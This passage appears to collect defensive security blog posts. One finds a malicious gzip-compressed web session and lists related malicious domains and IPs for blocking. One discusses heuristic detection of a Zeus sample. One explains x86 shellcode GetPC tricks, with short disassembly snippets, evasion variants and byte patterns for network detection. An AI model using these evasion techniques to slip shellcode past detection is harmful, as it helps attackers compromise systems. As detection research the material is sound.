Even though a large amount of web traffic is coming into your organization gzip compressed, making most inline/real-time security products totally “blind” to what’s inside, we can use standard forensic principals to identify which of those sessions are worth examination. In this case, we combined to following traits to reduce 50,000 network sessions to a single one:

Gzip’ed web content
Suspicious country
Uncommon webserver application

Once we drilled into that single session, we saw how trivial it was to use NetWitness to automatically decompress and content, extract it, then validate it as “bad.”

Epilogue

Does the process stop there? Of course not! If you had to repeat this process every time, not only would it make your job boring as heck, but would call into question the value you and your tools are really providing the organization in the first place! There are many ways to maximize the intelligence gained from the process just shown. I’ll highlight one method here, while saving others for later blog posts.

There are several interesting “indicators” gathered from this traffic so far. The ones I’ll focus on here are host names. In the request made by the client, we saw the following tag in the HTTP Request header:

Host: ertyi.net

In the java malware we decompiled, after decoding the encoded parameter value, we saw the executable to be downloaded was from the host “uijn.net.”

At this point, network rules should be added to firewalls, proxies, NetWitness intelligence feeds, and any other technology you have that can alert to other hosts going to either of those servers – preferably blocking all traffic to those servers.

But, can we extend our security perimeter in relation to the hackers using those servers?
Interestingly, we find both those domains are hosted on the same IP block: 194.8.250.60 and 194.8.250.61.

That leads to the question, “What other domains are hosted on those servers?”

Normally I use http://www.robtex.com/ to answer questions like that, but in this case, robtex does not provide a lot of information about that question. It’s possible the hackers are brining-up and tearing-down DNS records as needed for the domain names they manage.

Another source of helpful information can be found querying the “Passive DNS replication” database hosted at: http://www.bfk.de/bfk_dnslogger.html Here, we can find an audit trail of all historically observed DNS replies pointing to IPs you submit queries about. In this case, we do indeed find valuable information, including about 40 unique host names that have been hosted on those two IP’s. A shortened list is included below showing some of the names that have been hosted there.

aeriklin.com
aijkl.net
asdfiz.net
asuyr.net
campag.net
iifgn.net
jhgi.net
jugv.net
kobqq.com
krclear.com
lilif.net
nadwq.com
oiuhx.net
pokiz.net
uijn.net

As we can see, none of them look immediately legitimate, so we can infer this is a hacking group using a set of servers for domains they have registered simply to be “thrown away” if any of those domain names are discovered and end up on a blacklist somewhere.

The Real Summary

By combining a few pivot points and looking inside compressed web traffic most products ignore, from a single network session we proactively increased the security posture of your organization by creating an intelligence feed of nearly 40 hosts names and 2 IP’s. You could now audit DNS queries made by all hosts in your organization to see if other clients are compromised and doing look-ups when trying to communicate with those hosts.

For the truly paranoid (or safe, depending on how you look at it), you could also blackhole all traffic to those apparently malicious networks:

route: 194.8.250.0/23
origin: AS29557

Considering the Google Safe Browsing report for that AS, it’s probably not a bad idea!

It’s Malware!

2010-11-27T10:24:00.001-05:00

Zeus is evolving. In regards to a new release, one Anti-Virus vendor recently noted:

“[the new exe] uses techniques designed to avoid automatic heuristics-based detection.”

The discussion then proceeds to examine how the exe is different from previous versions of the malware.

Should we be alarmed that Zeus is getting so sophisticated that it evades heuristics-based detection mechanisms?

I suppose if it actually evaded heuristics-based detection mechanisms, that would be alarming. I’m sure the version of Zeus in question evades the mechanisms of certain AV vendors. However, when looking at the exact sample in question (verified by MD5) using the techniques we use for malware identification here, we see the sample stands out like a sore thumb.

Using our own internally-developed heuristic malware identification methods (also used by components of NextGen), we see the exe has traits such as the following (not a complete list!):

The binary contains packed sections, indicative of packed, obfuscated, and/or encrypted malware.
The size of the binary is abnormally small considering the conditions and context in which it was found.
The PE checksum fails to validate, something malware packers are notoriously bad about.
The binary does not have any information normally found within the version info table in the resource section of the PE.

But… Why get overly wrapped around the minutia related to the abnormal facets of this particular sample of Zeus? There’s a more important note to be made here. That is, Zeus is malware, so it does the things that malware does! You can’t get more “heuristically obvious” than that!

From the same vendor as above:

“…common ZeuS 2.0 variants contain relatively few imported external APIs… By contrast, [this version] imports many external APIs. To a heuristic scanner, this changes the appearance of the file and lowers the possibility of detection.”

Finding a binary that has very few external imports is generally a sign that something is suspicious. Specifically, it’s generally a sign the file is packed, obfuscated, and/or encrypted and the real imports are likely hidden inside. Such is the case when finding binaries that only import between two and five specific API’s from kernel32.dll (in the more obvious cases).

However, when finding a binary with a lot of imports, that’s even better since you get to see the full range of imports needed by the binary/malware! Without even running the sample or doing deep low-level reverse engineering, you can start to make assumptions about the functionality of the binary based on the API’s it uses. Further, it’s a simple matter to separate malware from legitimate binaries by comparing the API’s it uses to the ones it doesn’t need/use.

As is the case with this sample of Zeus, we see it (like the thousands of different types of malware not related to Zeus) imports APIs related to hooking the Windows API, creating mutexes, and managing services – without importing the functions used by legitimate binaries that also use the same functions.
So, should we be alarmed some people say Zeus is getting so sophisticated that it evades heuristics-based detection mechanisms?

If your security vendor is looking for Zeus, then yes. You should be alarmed. However, if your security vendor is looking for malware, generic signs of infection, and so on, then no… Fortunately Zeus is still malware, just like all the others…

Network detection of x86 buffer overflow shellcode

2010-11-27T10:17:00.001-05:00

Overview

This technique can detect overflow exploits against software running on the x86 platform, meaning it applies to Windows, Unix, and Mac shellcode. It not only works independently of OS, but it also works for finding both stack and heap based overflows. Most interestingly, it catches most forms of polymorphic shellcode as well. (Actually, it exceeds at finding special shellcodes like polymorphic decryption engines, egg hunters, etc.) While this definitely doesn’t work for all shellcode, it works for a lot of it.

The reason this technique applies to any operating system on x86 is simple. Shellcode is typically written in machine code (commonly called assembly, although it’s not actually the same thing), meaning shellcode is written using processor instructions – something independent of the OS it’s running on. Of course, the entire purpose of shellcode is manipulation of the OS, so shellcode is ultimately OS specific (even patch specific), but its basic primitives are independent of the OS.

One classic problem with shellcoding is addressing. Because shellcode is [typically] nefariously injected via exploitation into a process’s memory segment, and program execution is “hijacked” (without the benefit of setting up proper address pointers), the coder doesn’t know where in memory their code will be. The problem is, very little can be accomplished without knowing the logical memory address of parameters within the shellcode.

The simplest way around this issue is use of a CALL instruction. More information is available in the “Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 2A: Instruction Set Reference, A-M” (and 2B: N-Z) located here: http://www.intel.com/products/processor/manuals/.

The CALL is used as a way to branch processor execution to another location in memory. It has the minor benefit of being able to use relative addressing, but it has the major benefit of PUSH’ing procedure linking information on the stack before branching to the target location. This is commonly referred to as Call Stack Setup. When executing a near call, the processor pushes the value of the EIP register (which contains the offset of the instruction following the CALL instruction) on the stack (for use later as a return-instruction pointer). The processor then branches to the address in the current code segment specified by the target operand.

There are several versions of the CALL instruction, but the one we’re interested in for this purpose is opcode 0xE8. This is a near call (near, meaning within the current memory segment) using relative address displacement with a negative offset (eg: backwards displacement). The actual instruction is 5 bytes long, with the last four bytes used for a relative offset (a signed displacement relative to the current value of the instruction pointer in the EIP register; this value points to the instruction following the CALL instruction). The CS register is not changed on near calls, so the results of these branches can be safely predicted (from a shellcoders perspective).

A section of a disassembled binary is shown here with an actual CALL. Notice the instruction is given as an 0xe8 plus a double word (32 bit) displacement pointer.

The CALL is usually needed early in shellcode execution to PUSH the virtual address contained in the IP onto the stack. (This is done because it’s not possible to access the IP directly, so it needs to be put on the stack to utilize parameters within the shellcode). However, the problem with the use of CALLs for call stack setup in buffer overflow shellcode is the CALL is generally located at an offset needing to serve as a return address after other instructions have already been executed. In other words, the CALL is generally located later in the shellcode and the processor executes the instructions sequentially from the start of the shellcode – unless a branching instruction is encountered.

Which is precisely how to solve the problem in shellcode – early in the execution of the shellcode, you simply JMP to the CALL in question, then call back into the shellcode and continue execution.
JMPs are simple instructions and easy to visibly identify and dissect. They are simply the opcode 0xEB followed by a byte indicating the number of bytes to jump.

The example below is taken from an MDaemon Pre Authentication Heap Overflow exploit:

In the first example above (the egghunter shellcode), we see a “\xeb\x21” which means, “Jump 0×21 (or decimal 33) bytes.” When you jump those bytes, you hit the green box, a CALL. The CALL performs the call stack setup, then branches backwards back into the shellcode and picks up just after the JMP (because of the negative displacement). The actual offset is [0xFF – 0xDA = 0x25]. 0×25 is 37 in decimal, however, you subtract 5 from that since the offset starts at the end of the 5-byte CALL. That lands us just after the JMP.

Simple, yet effective. Even analysis of polymorphic shellcode generators shows this technique applies to almost all them as well.

To summarize all this rambling, the technique (show in the FelxParser below) is simply to search for a JMP straight to a NEAR CALL with a short and negative displacement.

Evasion

Call with no offset

Evasion of JMP/CALL detection can be accomplished a number of ways. The most interesting evasions are techniques used in advanced NOP sleds obfuscation leveraging CALLs that started surfacing around the mid-2000’s.

One of the simplest CALL-based NOP substitutions worked as follows:

00000000    E800000000 call 0×5
00000005    58                   pop eax

In that example we have a CALL with no offset, which basically translates to “branch to the instruction after this CALL,” in this case an opcode that simply POPs the EIP into the EAX register. (Remember, when the CALL is hit, the processor runs through the call stack setup, meaning the EIP was just PUSHED onto the stack.) From a NOP perspective, this leaves the stack unchanged, but for a method to grab the EIP, this is a simple and efficient (although the use of NULL bytes makes this more difficult to use in a wide range of shellcode).

As that byte sequence is very rare in binaries, detecting this is much simpler since we have the benefit of a continuous 6-byet token to watch for. In the case the EIP is poped to EAX, the token is simply

0xE8 0×00 0×00 0×00 0×00 0×58

The above pattern should be extended to include all the general purpose POPs, including:

0xE8 0×00 0×00 0×00 0×00 0×58
0xE8 0×00 0×00 0×00 0×00 0×8F
0xE8 0×00 0×00 0×00 0×00 0×0F 0×1A
0xE8 0×00 0×00 0×00 0×00 0×0F 0xA9

Noir’s no JMP/CALL

This next technique was first described by noir@gsu.linux.org.tr on the vuln-dev mailing list. It works as follows:

00000000    D9EE            fldz
00000002    D97424F4    fnstenv [esp-0xc]
00000006    58                 pop eax

In this case, the technique is to use FNSTENV to get the EIP of the last FPU instruction evaluated, then POP it from the stack. In the example above, the FLDZ FPU instruction is issued, then its EIP is POP’ed. This very cool technique allows for many permutations since any number of floating point instructions can be used. Several dozen pages in the Intel Developers Instruction Reference A-M (starting around page 430) cover instructions that can be used in place of FLDZ.

Gera’s CALL into self

The final one we’ll look at is a crafty method to avoid JMP/CALLs, and works like this:

00000000    E8FFFFFFFF call 0×4
00000005    C3                      ret
00000006    58                        pop eax

The interesting thing is the code above does not perform the actions the disassembler has labeled them as doing. In reality, the CALL (E8FFFFFFFF) is calling backwards into itself by a single byte. Therefore, the processor will hit the byte 0xFF (the tail end of the CALL) and interpret that byte as an instruction. In this case, the instruction is an INC/DEC (increment by 1 or decrement by 1). The 0xC3 is actually an operand to the interpreted 0xFF instruction, so it’s not a RET (return, normally used for call stack unwinding) in this case – it’s actually a pointer to the value stored in the EBX register as an operand for the INC/DEC instruction! After this step has been taken (the equivalent of a NOP really), the value on the stack is POP’ed into the EAX register using the 0×58 instruction. The value POPed is the EIP since it was PUSHed onto the stack when the CALL called back into itself.

While this is a very cool technique, it also provides a number of simple tokens to match on, similar to the Call with no offset example.

False positives and benign triggers

In testing of 55 GB of data (network and host based) no false positives were encountered searching for a JMP to short and near negative CALL. However, benign triggers were encountered (meaning the condition was detected, but it was a valid use of the condition). The condition was only detected inside some valid PE files, and because of that fact, they can be filtered using a number of simple and easy techniques depending on the technology used to discover them.

Flex Parser

Currently, the parser engine does not allow for one-byte tokens, so this parser is not functional as-is. (The concept presented here can easily be extended to identifying percent-encoded shellcodes, which is supported since they are represented as multi-byte tokens.) Nonetheless, and more importantly, the technique is annotated here in Flex so the reader can see how simple it is to write FlexParsers to discover a wide array of very complex conditions – such as universal shellcode detection.